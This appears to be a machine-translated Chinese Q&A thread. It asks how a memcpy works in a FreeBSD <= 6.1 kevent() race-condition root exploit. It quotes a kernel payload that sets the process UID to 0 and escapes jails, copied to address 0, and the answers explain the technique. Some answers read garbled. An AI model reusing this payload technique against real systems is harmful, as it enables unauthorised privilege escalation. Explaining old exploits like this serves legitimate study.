我正在阅读here中有关漏洞利用的一段代码。有一个声明如下:
/*
FreeBSD <= 6.1 suffers from classical check/use race condition on SMP
systems in kevent() syscall, leading to kernel mode NULL pointer
dereference. It can be triggered by spawning two threads:
1st thread looping on open() and close() syscalls, and the 2nd thread
looping on kevent(), trying to add possibly invalid filedescriptor.
*/
static void kernel_code(void) {
struct thread *thread;
gotroot = 1;
asm(
"movl %%fs:0, %0"
: "=r"(thread)
);
thread->td_proc->p_ucred->cr_uid = 0;
#ifdef PRISON_BREAK
thread->td_proc->p_ucred->cr_prison = NULL;
#endif
return;
}
static void code_end(void) {
return;
}
int main() {
....
memcpy(0, &kernel_code, &code_end - &kernel_code);
....
}
我很好奇这个memcpy
的含义是什么? &code_end - &kernel_code
的结果是什么?
答案 0 :(得分:1)
这假设函数kernel_code()
将在函数code_end()
开始之前的某处 where 结束。因此,memcpy()
将kernel_code()
复制到地址0.一个假定漏洞的某些其他方面导致返回或跳转到地址0,从而运行kernel_code()
。
答案 1 :(得分:0)
void * memcpy ( void * destination, const void * source, size_t num );
memcpy
会将函数kernel_code
复制到地址0
(NULL
)。
答案 2 :(得分:0)
代码试图利用的是,两个竞争队列的线程do_thread
/ do_thread2
获得root权限,UID为0。
通过mmap
code_end
函数地址的内容,地址为kernel_code
,将结果复制到缓冲区,地址为0,条件是:代码彼此相邻,因此,如有效用户ID为0 aka root。
此C++ Ref页面总结了memcpy
的内容。
void * memcpy ( void * destination, const void * source, size_t num );
从source指向的位置复制num个字节的值 直接到目的地指向的内存块。